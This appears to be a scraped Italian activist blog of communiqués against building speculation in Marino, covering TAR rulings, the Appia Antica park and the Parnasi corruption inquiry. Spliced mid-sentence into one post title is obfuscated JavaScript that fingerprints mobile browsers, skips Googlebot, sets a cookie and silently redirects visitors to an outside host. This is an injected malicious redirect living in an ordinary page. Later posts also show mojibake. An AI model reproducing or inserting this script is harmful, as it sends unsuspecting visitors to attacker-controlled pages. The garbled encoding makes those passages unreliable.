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Aggiornamenti (quasi) primaverili

CEMENTO: A CHE PUNTO SIAMO ?

La scorsa estate l’Assemblea contro la Cementificazione ha realizzato e distribuito un dossier riepilogativo ma in questi pochi mesi le novità non sono mancate.

Il TAR del Lazio ha discusso i ricorsi presentati dai palazzinari che vogliono costruire 1,3 milioni di metri cubi di cemento mentre, da ormai 8 anni, non si è degnato di farlo con quanto prodotto da associazioni e cittadini che lottano contro tale ipotesi. Nel farlo, il TAR ha stabilito l’annullamento delle due delibere del Comune di Marino che nel 2018 avevano sospeso l’efficacia del protocollo di intesa Palozzi-Polverini e dei Piani Integrati (detti PRINT). Non ha però dato seguito alla richiesta di risarcimento danni per quasi 300 milioni di euro che i costruttori avevano contestualmente richiesto.

Come se l’inchiesta giudiziaria “Rinascimento” che ha svelato gli interessi tra imprenditori, politici e faccendieri non sia stata sufficiente a far comprendere anche al TAR che tutta l’operazione speculativa è marcia dal suo principio.

Il TAR ha stabilito che i costruttori possono chiedere alla Corte Costituzionale di intervenire anche sull’ampliamento del Parco dell’Appia Antica approvato in Regione un anno e mezzo fa.

Dopo il TAR, l’ultimo grado di giudizio sulla vicenda spetta al Consiglio di Stato al quale il comune di Marino ha fatto ricorso: bisognerà comunque aspettare l’udienza fissata il 17 settembre, cioè 7 mesi dopo la presentazione degli atti. Con comodo.

Il Ministero dei Beni e delle attività Culturali (MiBACT) ha proposto un vincolo di notevole interesse pubblico per circa 1200 ettari, molti dei quali ricadenti nel nostro comune. Ogni vincolo a tutele del territorio è un ulteriore granello di sabbia che può aiutare a salvaguardare la zona sempre più cementificata tra l’Ardeatina, l’Appia e la Nettunense però non è ancora definitivo. Anche su questo fronte i palazzinari faranno di tutto per tutelare le loro rendite.

Il Comune di Marino ha continuato a rilasciare permessi a costruire in buona parte delle aree soggette al cemento selvaggio: da Palaverta, a via Aldo Moro, a Quarto S.Antonio, dalla Nettunense ai dintorni del Parco Falcone. Si tratta principalmente di edifici residenziali ma anche distributori di carburanti.

Come se già non ce ne fossero abbastanza. Anche le autorizzazioni paesaggistiche vengono rilasciate frequentemente, ed in esse si legge ad esempio che “il comune non ha costituito la Commissione Locale per il Paesaggio” e che “la Sopraintendenza Archeologica non ha espresso il proprio parere quindi vale il silenzio-assenso”. E spesso queste autorizzazioni incidono su aree di pregio identificate nel PTPR.

Vogliamo ricordare un altro paio di cose: la prima è il Documento Preliminare di Indirizzo le cui linee guida sono state approvate recentemente dal Comune di Marino in vista della redazione del Piano Urbanistico, cioè del futuro PRG che l’amministrazione vorrebbe realizzare a “consumo di suolo zero”. In questo Documento si parla di 1,3 milioni di metri cubi di cemento già realizzati dal 2004 al 2016, di un aumento di 7.000 abitanti, di mancanza di servizi, di standard urbanistici inferiori ai minimi di legge (-25%), di un sistema viario al collasso e della razionalizzazione di scempi come Costa Caselle, via Kennedy, Quarto S.Antonio, Palaverta, Torre Paolina.e via Aldo Moro. Tutto ciò dovrebbe avvenire cercando di recuperare la viticoltura del territorio ma tutto il comparto è in crisi, il lavoro nero è dilagante nel settore e le cantine pagano l’uva una miseria al quintale. E sui terreni una volta agricoli vengono sempre più rilasciati permessi a costruire a favore dei proprietari o di società immobiliari, nonché autorizzazioni paesaggistiche per antenne di ogni tipo di operatore telefonico e pannelli fotovoltaici

Insomma, questo DPI è molto ben scritto, sembra un prezioso documento, si parla di strumenti di partecipazione diretta di cittadini e associazioni. Però esso si scontra con quanto avviene quotidianamente sotto gli occhi della stessa amministrazione comunale, la quale dopo aver per alcuni mesi interrotto il rilascio dei permessi a costruire appena insediatasi nel 2016, ha di fatto stabilito che tutte le zone in cui le ruspe erano già in azione, Mugilla inclusa, potevano tranquillamente continuare a riempirsi di cemento. Siamo così arrivati a circa 45.000 abitanti, con “zone di completamento” con le gru al lavoro e molti appartamenti costruiti ancora sfitti. A proposito, l’amministrazione non conosce, a suo dire, quanti appartamenti ci siano nel “suo” comune né sa quanti di essi siano abitati e quanti sfitti. Non ci sembra poco questa mancanza, specie se si vuole progettare, programmare, partecipare…

Nello stesso DPI si cita il rispetto di una determina regionale che fissa i limiti di anidride carbonica emanata dal sottosuolo per poter rilasciare i permessi a costruire: per anni abbiamo chiesto che questa fosse attuata, ad esempio, a Mugilla e ci è sempre stato risposto che è una “motivazione debole”. Adesso invece viene tirata fuori dal cassetto come se nulla fosse ?

Infine, uno studio sugli standard urbanistici, quello previsto per ottobre 2016, è stato finalmente redatto e doveva costituire la base dell’azione amministrativa per arrivare ad una delibera di sospensiva in autotutela, come annunciato a suo tempo. Ebbene, lo studio è ricco di lacune per stessa ammissione di chi lo ha redatto, praticamente inutilizzabile, e infatti non risulta neanche citato nel DPI.

Nel frattempo, con l’inizio precoce della campagna elettorale, i vecchi pescecani politici al soldo dei palazzinari sono pronti a mettere a frutto gli accordi con gli speculatori di ogni sorta.

Non ci sono alternative alla partecipazione diretta alle questioni che interessano decine di migliaia di persone nel nostro comune. Se ciò avviene tramite la delega, la catastrofe è annunciata ed è già in larga parte visibile. Altro che “svolta verde”.

Incontro pubblico su rifiuti e cemento alla Biblioteca Popolare di S.Maria delle Mole

Nel territorio in cui viviamo è da anni in corso una vasta cementificazione che mette insieme gli interessi imprenditoriali e quelli dei partiti politici. Il TAR del Lazio ha dato ragione ai costruttori che avevano presentato ricorso contro alcuni provvedimenti del consiglio comunale di Marino. Lo stesso tribunale che in 8 anni non ha voluto esprimersi sui ricorsi presentati dai comitati cittadini che lottano contro il progetto da un milione di metri cubi di cemento. A pochi passi da qui, lungo la via Ardeatina, l’impianto TMB della discarica di Roncigliano andato a fuoco nel 2016 rischia di essere riattivato grazie ad una nuova autorizzazione regionale mentre le buche della “Ecofer” alla Falcognana vengono indicate come possibili siti per i rifiuti della città di Roma, in eterna emergenza

Già nel 2013 una grande mobilitazione popolare, con 10.000 persone in corteo al centro di Roma, riuscì a fermare il primo tentativo di rendere la “Ecofer” la discarica che avrebbe sostituito la famigerata Malagrotta.

Nel frattempo, la lotta contro l’inceneritore, il TMB e la discarica di Roncigliano non si è mai fermata ed ha visto 500 persone manifestare ad Albano lo scorso 7 dicembre.

I partiti in continua campagna elettorale cercano invece visibilità proponendo gli inceneritori come soluzione e intervengono contro la “Ecofer” solamente perché nelle adiacenze ci sono i progetti di Parnasi e “DeA Capital” per quasi 25.000 nuovi abitanti: 12.500 al Gotto d’Oro e altrettanti a S.Palomba e Paglian Casale. Se a tutto ciò si aggiunge l’inquinamento dovuto agli aerei e il rumore causato dalle nuove rotte, il quadro sull’invivibilità del territorio si completa.

Che cosa sta accadendo ? Quali sono i soggetti che portano avanti progetti di devastazione dei territori ? Come organizzarsi per opporsi efficacemente e in tempo utile ?

Facciamo il punto della situazione parlandone insieme alla “Bibliopop”, venerdì 20 dicembre, dalle ore 18.00.

Assemblea contro la cementificazione e Biblioteca Popolare

http://stopcemento.noblogs.org — stopcemento@inventati.org

Manifesto 20 dic 2019 alla Bibliopop contro rifiuti e cemento in PDF

Un estate al TAR

Il 3 agosto 2011 il Consiglio Comunale di Marino, allora guidato dal centro-destra di Adriano Palozzi, approvava le delibere inerenti il “Masterplan” da 1,3 milioni di metri cubi di cemento per 12.500 nuovi abitanti.
C’eravamo allora, ci siamo ancora oggi, per contrastare lo scempio.
Abbiamo distribuito in piazza e nella zona tra via della Repubblica e il Parco della Pace il seguente volantino e il dossier contro la cementificazione.
Vi invitiamo a leggerli entrambi

Potete scaricare il dossier a questo link

Dossier 2019

Volantino 3 agosto 2019 in PDF

Giovedi 29 novembre h.18.00 – Incontro pubblico alla “Bibliopop” di S.Maria delle Mole

COMUNICATO

Giovedì 29 novembre dalle ore 18.00 presso la “Biblioteca Popolare” a S.Maria delle Mole(via Mameli-via Bassi), l’Assemblea contro la Cementificazione di Marino invita la popolazione a partecipare ad un incontro pubblico per condividere le informazioni riguardanti l’ampliamento del Parco dell’Appia Antica e le vicende connesse al progetto da 1,3 milioni di metri cubi di cemento del Masterplan 2011.

Si cercherà di comprendere quali tutele nella zona del Gotto d’Oro verranno assicurate dall’art.7 della legge n°7 votata di recente in Regione Lazio e cosa accadrà nelle zone escluse da tale ampliamento, per esempio Mugilla e Mazzamagna.

I progetti di “Parnasi” e “DeA Capital” da oltre 4.000 nuovi abitanti e un mega centro-commerciale sono effettivamente archiviati, anche alla luce dell’operazione della magistratura che a giugno ha svelato i legami tra imprenditoria e partiti politici che si mettevano a disposizione del miglior offerente ?

Perché nella zona di Mugilla si continua a costruire attorno alle scuole “Verdi” e “Ciari” ed essa non è stata inclusa, come inizialmente previsto, nella nuova perimetrazione del Parco dell’Appia Antica ?

Ci sarà spazio per accennare di altri progetti che nulla di buono portano al territorio di Marino e ai suoi abitanti, come un nuovo centro commerciale sulla via Nettunense e l’eventualità che il Palaghiaccio lasciato all’incuria dalla società che lo gestiva diventi un Esselunga, cioè cambi destinazione d’uso.

Infine, scopriremo insieme se i danni causati dai costruttori che stanno cementificando intere zone quali Palaverta, Quarto S.Antonio, Castagnole, Costa Caselle hanno subito una battuta d’arresto oppure continuano ad essere rilasciati dal Comune di Marino permessi a costruire nonostante la conclamata assenza di servizi pubblici di tutti i tipi.

Saranno proiettate immagini, cartine e documentazione utili a comprendere meglio la situazione.

Marino ha superato i 45.000 abitanti. Dopo 20 anni di stabilità, dal 2001 la classe politica e imprenditoriale ha deciso di mettere a profitto i luoghi in cui viviamo e da allora ogni anno si cresce di circa 1.000 abitanti.

C’è ancora la necessità di continuare ad organizzarci per difendere le condizioni minime di vivibilità nel territorio in cui viviamo.

Per questo invitiamo di nuovo tutti/e a partecipare alle iniziative, ad iniziare dall’incontro di giovedì 29 e dalle riunioni settimanali che si svolgono tutti i lunedì alle 21.30 presso la sede del CdQ di S.Maria (via N.Tommaseo, accanto alla scuola “Morante”).

Marino, 27 novembre 2018

Assemblea contro la Cementificazione

http://stopcemento.noblogs.org — stopcemento@inventati.org

Locandina incontro 29 novembre – Stopcemento – in PDF

Comunicato per assemblea del 29 novembre – Stop Cementoo in PDF

Ampliamento del Parco dell’Appia Antica: dentro “via del Divino Amore”, fuori “Mugilla” e “Mazzamagna”

L’Assemblea contro la Cementificazione apprende con soddisfazione l’ampliamento del perimetro del Parco dell’Appia Antica che includerà anche la zona di “via del Divino Amore” ove Parnasi, INPS, Ecovillage, DeA Capital tentano da anni di insediare 5.000 nuovi abitanti ed un enorme centro commerciale.

In attesa della pubblicazione sul bollettino ufficiale della Regione Lazio, a seguito della discussione e della votazione avvenuta in sede di consiglio regionale dello scorso 24 settembre, ci sembra doveroso rendere pubbliche alcune considerazioni sull’argomento.

Se l’ampliamento del Parco dell’Appia Antica sarà efficace contro la speculazione dei palazzinari (in atto formalmente dal 2011) allora significherà la salvaguardia di centinaia di ettari nel solo comune di Marino che potranno finalmente evitare di essere messi a profitto a scapito dei residenti e dei pendolari ed un grosso pericolo sarà scampato dopo anni di lotte nelle piazze, nei dintorni dei cantieri e nelle sedi istituzionali.

Probabilmente tale decisione è anche frutto anche dell’operazione “Rinascimento” che ha svelato quello che tutti sospettavano, cioè i legami tra il palazzinaro Parnasi e i gruppi politici presenti in Regione Lazio e nell’amministrazione comunale di Roma. Ricordiamo infatti che in cambio di favori verso il noto palazzinaro romano risulta(va)no a suo libro paga Palozzi (ex sindaco marinese e vice-presidente della Regione, Forza Italia), Michele Civita (ex assessore regionale, PD) e Luca Lanzalone (già presidente ACEA, Movimento 5 Stelle).

Quello che invece ancora non ci torna riguarda la zona denominata “Mugilla” dove alcuni costruttori locali sono riusciti negli ultimi anni a costruire 8 palazzine (su 17 previste) proprio di fianco a due importanti plessi scolastici di S.Maria delle Mole, in piena zona archeologica, adiacente al Parco dell’Appia Antica.
Tanto che gli stessi palazzinari hanno chiamato tale scempio “La Casa nel Parco”.

Nel corso degli anni sono stati presentati diversi ricorsi al TAR, ancora pendenti e mai discussi, ma anche diversi esposti proprio al Comune di Marino riguardanti sia la normativa regionale sulle emissioni di CO2 non rispettata dai costruttori sia la violazione palese del costruito che portò, a luglio 2017, alla sospensione dei lavori nei cantieri.

Già nel 2016 il Comune di Marino a guida M5S poteva e doveva intervenire per bloccare la costruzione di almeno 4 delle 8 attuali palazzine, frutto di due permessi a costruire rilasciati dalla precedente amministrazione di centro-destra tramite l’allora dirigente comunale Petrini.

Il TAR ha poi dato ragione allo stesso Comune di Marino che aveva fatto sospendere i lavori di costruzione a Mugilla (ordinanza luglio 2017, sentenza maggio 2018) ma tale vittoria non ha avuto seguito nonostante un nuovo nostro recente esposto che chiedeva di agire in tal senso: così i lavori delle ditte locali proseguono tranquillamente e, ormai, la scuola elementare e l’asilo si ritrovano face-to-face ai nuovi palazzi in vendita a caro prezzo.

La cementificazione di Mugilla, metà delle cubature previste (a cui vanno sommati gli abusi edilizi degli stessi costruttori), sembra essere continuo oggetto di contrattazione con le controparti societarie le quali risultano peraltro morose nei confronti del Comune di Marino per altri insediamenti edilizi. Perché permettere a tali soggetti di continuare l’opera di devastazione e di saturazione urbanistica in una frazione che ha sempre più abitanti e sempre meno servizi pubblici ?

E’ di questi giorni la notizia di controlli in 44 cantieri edili proprio a S.Maria delle Mole con la denuncia di 15 titolari di altrettante ditte e multe per 33.000 euro nei loro confronti, per un’opera di contrasto al lavoro nero ed alle condizioni di (in)sicurezza in cui gli operai spesso vengono a trovarsi. In questi casi, fateci caso, mancano sempre i nomi delle ditte, quelli dei denunciati, le foto in prima pagina e tutto ciò che di solito avviene per altri “mostri”. Ma qui si tratta di imprenditori e allora si usa il guanto di velluto…

http://www.castellinotizie.it/2018/09/29/marino-lavoro-nero-nei-cantieri-edili-15-denunciati-a-santa-maria-delle-mole/amp/

Infine, la zona di cui si parla meno, quella di Mazzamagna (adiacente a quella di via del Divino Amore) preoccupa non tanto per un imminente pericolo di costruzione quanto perché comunque prevede l’insediamento di 3.000 abitanti e anch’essa non farà parte del Parco dell’Appia Antica. Non vorremmo che ulteriori cubature venissero delocalizzate in tale area dove, tra l’altro, è prevista comunque la costruzione di un centro commerciale dal nome evocativo: “Marino Green”. Il quale potrebbe fare il paio con un’altra non proprio piccola speculazione: la conversione del palaghiaccio in centro commerciale “Esselunga”, la quale sembra abbia acquistato 4 anni fa la proprietà dello storico impianto realizzato in occasione dei mondiali di calcio di “Italia 90”. Tanti bei milioni di euro spesi da una società privata sono giustificabili solo con la certezza del cambio di destinazione d’uso. E chi c’era 4 anni fa ad amministrare il comune di Marino ? Qualcuno che abbia fornito tale certezza che, ad oggi, non è per nulla stata smentita dalla nuova amministrazione. Staremo a vedere se ciò avverrà, come ci auguriamo.

Nei prossimi giorni dovrebbe essere pubblicato ufficialmente tutto quello che concerne l’ampliamento del Parco dell’Appia Antica mentre lo scorso 10 agosto il consiglio comunale di Marino ha approvato una delibera che prosegue l’iter di sospensione dell’efficacia dei PRINT Mugilla-Mazzamagna-Divino Amore che, ad oggi, non trova ancora spazio nell’albo pretorio. In attesa di questi documenti, la lotta contro la cementificazione non può dirsi conclusa ma, anzi, va rilanciato lo spazio di discussione e approfondimento settimanale che portiamo avanti dal lontano 2011.

Appuntamento quindi lunedì 1 ottobre, ore 21.30, presso la sede del CdQ di S.Maria delle Mole, via N.Tommaseo.

Comunicato su assemblea pubblica di venerdì 29 giugno a S.Maria delle Mole

COMUNICATO

VENERDI’ 29 ORE 18.00 – S.MARIA DELLE MOLE

ASSEMBLEA PUBBLICA CONTRO LA CEMENTIFICAZIONE

L’ “Assemblea contro la Cementificazione” organizza venerdì 29 giugno alle ore 18.00 in piazza P.Togliatti a S.Maria delle Mole una nuova iniziativa pubblica per discutere della situazione riguardante il “Masterplan” da un milione e trecentomila metri cubi e 12.500 nuovi abitanti approvato nel 2011 dall’allora giunta Palozzi.

Come abbiamo sostenuto sin da subito, gli interessi dei costruttori come Parnasi e di fondi di investimento come DeA Capital–Idea Fimit sono andati a braccetto in modo trasversale con numerosi esponenti politici di centro-destra e centro-sinistra ai quali si sono aggiunti di recente anche politici del movimento 5 stelle (la lega era già interna tramite il centro-destra a queste dinamiche).

Il “Masterplan” di Marino si è dimostrato pedina di scambio per le speculazioni di importanti società che hanno operato in questi anni anche per la paventata costruzione dello stadio della Roma e del relativo business park cercando di by-passare qualsiasi reale interesse pubblico pur di cementificare centinaia di ettari di verde.

Evidenziamo che a due settimane dagli arresti e dalle intercettazioni rese pubbliche dalla procura di Roma nessun partito politico presente nell’assemblea capitolina, in quella marinese e in quella regionale ha portato la questione nella rispettiva aula consiliare. E probabilmente la discussione sull’inchiesta denominata “Rinascimento” non farà mai parte di nessun ordine del giorno di nessuna amministrazione coinvolta.

Parnasi e i suoi collaboratori hanno finanziato tutti i partiti, senza distinzione alcuna, perché i suoi progetti dovevano andare in porto a qualunque costo.

La situazione marinese fu direttamente gestita dall’ex sindaco ed attuale vice-presidente regionale Adriano Palozzi insieme all’allora presidente della Regione Lazio Renata Polverini che con un accordo di programma da noi contestato in ogni sede decisero che 200 ettari di Agro Romano avrebbero dovuto sparire a vantaggio di palazzi e centri commerciali.

La situazione non cambiò con l’ascesa di Zingaretti che tramite l’assessore Civita non si preoccupò mai di contrastare i piani dei costruttori, anzi, come dimostra l’ultima inchiesta era anche quest’ultimo arruolato a pieno titolo tra i faccendieri di Parnasi.

L’idea di Parnasi era di rivendere a DeA Capital per 200 milioni di euro i terreni di Tor di Valle (comprati a 40 milioni) e di riacquistare quelli marinesi sempre da DeA Capital per 25 milioni. Questi terreni che valevano poco sono così diventati oggetto di una spaventosa rivalutazione che avrebbe portato 140 milioni di euro a vantaggio di Parnasi utilizzando quanto evidentemente imparato durante qualche partita a “monòpoli”.

Con il cambio di giunta comunale a Marino, in questi anni abbiamo continuato a chiedere di annullare/revocare le delibere cementizie e fermare i cantieri a Mugilla, ove costruttori locali hanno già distrutto metà di quanto vorrebbero, circondando le scuole elementari e per l’infanzia con palazzine in piena area verde e archeologica.

Finora, i provvedimenti presi dall’amministrazione comunale sono stati molto timidi eppure sono stati impugnati da DeA Capital e costruttori locali. Oltre la promessa di Palozzi di far pressione sul sindaco marinese Colizza per sbloccare la lottizzazione di via Divino Amore (480.000 metri cubi tra commerciale e residenziale) emerge l’interesse di Lanzalone, presidente dell’ACEA, dirigente di area “5 stelle”, il quale per il suo “interessamento” aveva ottenuto la promessa di ricevere in cambio quasi 100.000 euro tramite false consulenze a favore della società Ecovillage,

Ecovillage è direttamente coinvolta nella speculazione marinese e Lanzalone avrebbe dovuto fare pressione sull’amministrazione “cinque stelle” per mandare avanti il progetto di devastazione di via del Divino Amore.

Nel 2011 non c’era alcun interesse pubblico nel paventato “recupero di standard urbanistici” sostenuto da Palozzi per giustificare tutta l’operazione speculativa. Lo denunciammo sin da subito, e infatti manca ad oggi ogni progetto di servizio pubblico per ulteriori 12.500 abitanti.

In virtù di questo e per la salvaguardia delle minime condizioni di vivibilità del territorio continuiamo a chiedere la revoca delle delibere inerenti il “Masterplan” del 2011 e tutti gli atti conseguenti alla quale si deve aggiungere la confisca di tutti i terreni delle società coinvolte e l’ampliamento del perimetro del Parco dell’Appia Antica.

Solo con tali provvedimenti verrà messa un’unica grossa pietra sopra gli appetiti dei palazzinari e dei loro sodali politici. Ogni altra iniziativa che gira intorno alla questione senza bloccarla effettivamente lascia spazio al malaffare, alla corruttela e infine alla distruzione di un prezioso spazio di decompressione dalla metropoli sempre più – inutilmente – estesa.

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE – Marino – 26 giugno 2018

stopcemento@inventati.org — http://stopcemento.noblogs.org

Comunicato Stop Cemento 26 giugno 2018 in formato PDF

Domenica 29 aprile, ore 11.00 – Incontro Pubblico in piazza Togliatti a S.Maria delle Mole

Comunicato iniziativa 24 marzo all Ipo var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sabato 24 marzo, incontro e cena al centro sociale IPO’

SABATO 24 MARZO CONTRO LA CEMENTIFICAZIONE A MARINO

L’Assemblea contro la Cementificazione organizza un incontro-dibattito pubblico di aggiornamento sulla situazione riguardante le zone di Mugilla e via Divino Amore di Marino soggette ai piani speculativi di grandi costruttori, come Parnasi, e di societAi?? locali.

L’incontro si svolgerAi?? a partire dalle 18.30 di sabato 24 marzo presso il centro sociale IpA?, in via del Giardino Vecchio, a Marino. A seguire ci sarAi?? una cena di autofinanziamento per le spese dell’Assemblea contro la Cementificazione alla quale vi invitiamo a prenotarvi via mail agli indirizzi ipotesi@gmail.com oppure stopcemento@inventati.org

Discuteremo della delibera del consiglio comunale di Marino che sospende in autotutela gli effetti del protocollo di intesa riguardanti il Masterplan approvato nel 2011.

La scorsa settimana c’A? stato un incontro con altre associazioni (ADA, Legambiente, Italia Nostra) e l’assessore comunale all’urbanistica che ha chiarito alcuni aspetti del provvedimento appena approvato.

Sostanzialmente, le autoritAi?? amministrative locali aspettano un incontro dalla nuova giunta regionale, se mai sarAi?? formata, al fine di negoziare/annullare/revocare il Masterplan.

Questa situazione si trascina di anni e tale delibera era stata annunciata pubblicamente giAi?? a luglio 2016 (data di insediamento della nuova amministrazione M5S a Marino) per settembre/ottobre 2016.

C’A? quindi, come minimo, un notevole ritardo nello ai???scoprireai??? che i soggetti proponenti, tra i quali Ecovillage (Parnasi), DeACapital (De Agostini ed INPS, giAi?? Idea Fimit), La Mole 2, Cristina ed altri non hanno dato seguito alla progettazione, al finanziamento e all’esecuzione dei lavori per le famose e discutibilissime opere pubbliche. Era per queste opere pubbliche che la giunta di centro-destra Palozzi si accordA? con quella regionale della Polverini per giustificare l’immensa colata di cemento su centinaia di ettari di Agro Romano in zona vincolata, di pregio e in larga parte di interesse per l’ampliamento del Parco Regionale dell’Appia Antica.

GiAi?? nel 2011 denunciammo l’inganno: non c’A? alcun interesse pubblico dietro questa enorme speculazione ma solo la volontAi?? di mettere a rendita un intero quadrante, senza curarsi della viabilitAi?? per 12.500 nuovi residenti, senza interesse per le questioni riguardanti la disponibilitAi?? di acqua, fogne, servizi pubblici quali scuole, medici di base, ambulatori, pronto soccorso e un’urbanistica che contempli spazi di socialitAi?? e di aggregazione.

Anzi, questi ultimi spazi aggregativi ci sarebbero nella visione peggiore di questi palazzinari del terzo millennio: tutti dentro al mega-centro commerciale da 100.000 metri cubi davanti al Gotto d’Oro.

A questo eco-mostro privato servono perA? molti clienti. Ecco fatto che esso verrebbe allora circondato da 5.000 persone per la Ecovillage e da 3.000 per Mazzamagna in nuove zone residenziali.

Inoltre, a Mugilla i palazzoni di ai???La Mole 2ai??? e ai???Cristinaai??? hanno ormai completamente circondato le scuole per l’infanzia ai???Ciariai??? e la primaria ai???Verdiai???, cosAi?? gli oltre 300 bambini e bambine, i loro genitori, i lavoratori e le lavoratrici potranno ammirare perennemente lo scempio, in attesa che 400 nuovi abitanti acquistino le case pubblicizzate su vari quotidiani come immerse in un parco che non esiste piA? e che non esisterAi?? mai.

Discuteremo anche delle novitAi?? per nulla positive che potrebbero portare alla concessione di altri permessi a costruire a Mugilla a favore delle societAi?? di cui sopra nonostante le stesse abbiano ottenuto i precedenti permessi senza ottemperare alla normativa sui rilievi dei gas endogeni che pone dei limiti e delle condizioni stringenti per la sicurezza dei lavoratori del cantiere e la progettazione dei palazzi. Proprio in questi giorni alcuni residenti di Cava dei Selci hanno subAi??to l’evacuazione dalla propria abitazione a causa di gas pericolosi di origine vulcanica e non A? la prima volta che capita in queste zone, tanto che la normativa elusa dai costruttori di Mugilla fu elaborata a seguito di diversi casi simili.

Oltre ad aver costruito in assenza del rispetto della determina regionale sui gas endogeni, i palazzinari sono andati in abuso sopra con le altezze consentite ma anche questo potrebbe non bastare per impedire loro di ottenere i permessi per altre 9 palazzine ed arrivare a completare il loro progetto: 17 palazzi totali.

Riteniamo questa vicenda sintomatica dello strapotere dei palazzinari rispetto agli interessi generali della collettivitAi?? e per tanto la questione andrebbe affrontata non in modo da sistemare meglio la zona costruita che A? giAi?? adesso carente di una viabilitAi?? minima (vedi via Maroncelli) ma semplicemente non dando seguito ai piani speculativi delle societAi?? private.

Dal nostro canto continueremo ad informare la cittadinanza, promuovere iniziative sul territorio e costruire momenti di lotta per evitare che il Masterplan voluto dai costruttori distrugga per sempre la giAi?? complessa vivibilitAi?? di un intero quadrante a sud di Roma.

Assemblea contro la cementificazione ai??i?? stopcemento@inventati.org — www.stopcemento.noblogs.org

Comunicato in pdf

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Volantino distribuito in zona Via Divino Amore

CENTRO COMMERCIALE DA 100.000 M.C. 

PALAZZI PER 5.000 NUOVI ABITANTI

Opporsi alla devastazione di via del Divino Amore per non essere schiacciati dai progetti speculativi di Parnasi, INPS e DeAgostini

A luglio del 2017 l’Assemblea contro la Cementificazione ed altre associazioni del territorio hanno presentato le ai???osservazioniai??? alla proposta di V.I.A.(Valutazione di Impatto Ambientale) per il mega centro commerciale presentata da ai???Idea Fimitai??? alla Regione Lazio.

Questa partecipazione diretta e pertinente ha di fatto rallentato tutta l’operazione che sta subendo un nuovo procedimento istruttorio anche per altri motivi.

